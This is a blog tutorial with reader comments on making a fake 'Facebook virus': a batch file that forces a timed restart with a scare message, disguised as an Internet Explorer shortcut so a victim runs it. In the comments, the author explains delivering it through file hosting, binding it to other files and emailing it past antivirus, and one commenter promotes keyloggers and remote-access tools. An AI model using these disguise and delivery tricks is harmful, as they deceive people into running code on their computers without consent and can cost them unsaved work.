Pin It

How to make a facebook virus

I heard from many of my friends that a virus is spreading on facebook which delete our accounts,I first thought it could have been a trojan that spread out,Then i found out that its just simple prank to shutdown your pc,Now today i will show you how to make a facebook virus to trick your friends
In this tutorial I will show you how to make a Facebook virus using simple commands on notepad. .This will make the victim think they have got a virus when they click on an icon such as Internet Explorer .
Making a fake facebook virus!

1) Open notepad
2) Type this in :

@echo off
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

3) Save it as something.bat
4)Right click on Internet Explorer .bat and click Create Shortcut
5)Right click on shorcut and click Properties.
6) Click Change Icon
7.Choose Internet Explorer icon or similar , click OK , then click Apply

Now your facebook virus is almost ready

8).Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

Subscribe to our Newsletter and receive updates directly via email - Get Ethical hacking and security tips directly to your inbox. Alternatively you can Join our Hackers Community on Facebook , Google+ and Twitter .

At RHA Infosec we provide different types of Security Testing from small business sites to Corporate Sites. Click Here to know more about our complete list of services.

Subscribe to RHA

Enjoyed this article?
Subscribe to "Rafay Hacking Articles" and get daily updates in your inbox for free!

Tags: ,

Kindly Bookmark it and Share it with Friends:


AKS FreakZ on November 6, 2009 at 8:13 PM said...


Anonymous said...

but how exactly is it facebook virus

Anonymous said...


Ajit on March 22, 2010 at 12:27 AM said...

how to send the virus.......

Rafay Baloch on April 14, 2010 at 8:02 AM said...

Just ask the victim to download it and run the .bat file on his PC

Anonymous said...

i honestly didnt get the step 4 !! can someone plz explain it for me... thanks :)

Anonymous said...

I'm sorry, but this is in no way a virus, and is quite amusing.

First of all, how are you going to get them to download it? That will give you a bit of trouble, but most won't go on with it because they are (hopefully) smarter than that.

Second, how does this relate to facebook? And the shutdown can be canceled with the command:

shutdown -a

Rafay Baloch on June 30, 2010 at 12:39 AM said...

I really don't agree with you.There are couple of methods through which you can sent the fake virus.
The most simple one is as follows:
1.Create an account on a free hosting site such as
2.Now add something.bat to archive
3.Upload it to file manager in your webhosting account.
4.Now simply ask the victim to run the file in his system and you are done.

and a very few people know about the shutdown -a command.

Anonymous said...

can we attach this fake virus in any other files? if it possible can u send me the process.

Rafay Baloch on July 3, 2010 at 1:25 AM said...

Yes you can attach it with other files with a software called "Binder" but there is not need to do it because
it wont be detected by an antivirus so you can sent it via an email attachment.

Anonymous said...

how do you execute the shutdown -a command anyways?

Anonymous said...

if this fake virus run in your pc... no problem.. just click on start button then click Run and type shutdown -a and press ENTER

Anonymous said...

thanks for the help man.. got any other fun stuff to do(pranks) but the best would be for a facebook user. just fun but not harmful pranks..

Anonymous said...

well this is not a facebook virus.. dis s jst a way to shutdown ur system.. one can type "shutdown -r -t 300" in their RUN/command prompt that makes their system 2 restart after 300sec..

Rafay Baloch on August 11, 2010 at 10:48 AM said...

Ya I know thats just a Prank

Anonymous said...

that's helpful. what i wanna know is do you know any type of prank that involves a facebook user? just a a harmless prank that'll be a funny thing afterwards. lol

Anonymous said...

this is not a virus until ir replicates,these are only trojans
so give some procedure to write virus not trojans

Anonymous said...


Sorry bro itz not a virus itz a shutdown command it can be recover: Run Type shutdown -a

lol :P

shazir on January 20, 2011 at 2:28 AM said...

rafay baloch . i m greatfully thankyou for your every information. but there is a problem i cannot access to download the fake login page . will you plz figure something out for me .

Anonymous said...


Anonymous said...

how can i send this on facebook to my friends

pinkss on September 5, 2011 at 4:39 PM said...

facebook n gmail are not allowing to send .bat file so now how can i ....??

Ryan Hussain on October 16, 2011 at 8:01 AM said...

How to Hack Facebook Account By Facebook Virus .. - HACKED BY VIRUS - Tell me pls Or [ By Sending a message and when a victim reply to that message so it will hack .. Pls Rafay Baloch Pls ]

Anonymous said...

heloo .,i have little prob,my fb friend reqst hane temprary block.How can i still send friend requests to others???

Anonymous said...

nice job rafay baloch,nice job

hassam on November 19, 2011 at 1:21 AM said...

and how to remove the virus is it has runned on my computer

Naje on December 9, 2011 at 3:30 AM said...

how can i send Virus to facebook' user

Anonymous said...

Rafay, a girl I think sent me this link for a Facebook album that she has but clearly it Isn't. Since your the expert, can you take a peek at this?

Anonymous said...

I did this exactly in order step by step.. nothing happend

Anonymous said...

1st not a virus

2nd aborded easily: shutdown -a

3rd you should show them how to spread the "virus"

4th if you really want to learn about spreading harmfull programs start ratting and keylogging, and then post how to.

5th read all of the above.

-LoneZZ@BySec <--- google my credit card leak.

Anonymous said...

We are anonymouse.

Anonymous said...

I Know a virus prank that you can pull on your friends by using your cell phone....This prank alows you to send "your friend or anybody a mms/picture message amd when the open the picture message "their phone shuts completely off by itself "this is a prank only"...Just boost/power on your phone, but dont open the mms/picture mesg, it will shut off your phine every time you open "the mms" up.....

Dare to ask? :)

Blog Archive


Recent Comments


Rafay Baloch is an Independent security researcher, Internet marketer, Entrepreneur and a SEO consultant, He is the founder of RHA blog and multiple other blogs. Rafay got famous after finding a Remote Code Execution bug inside PayPal for which PayPal awarded him a sum of 10,000$ Read More..

Join In!

RHA © 2013. All Rights Reserved.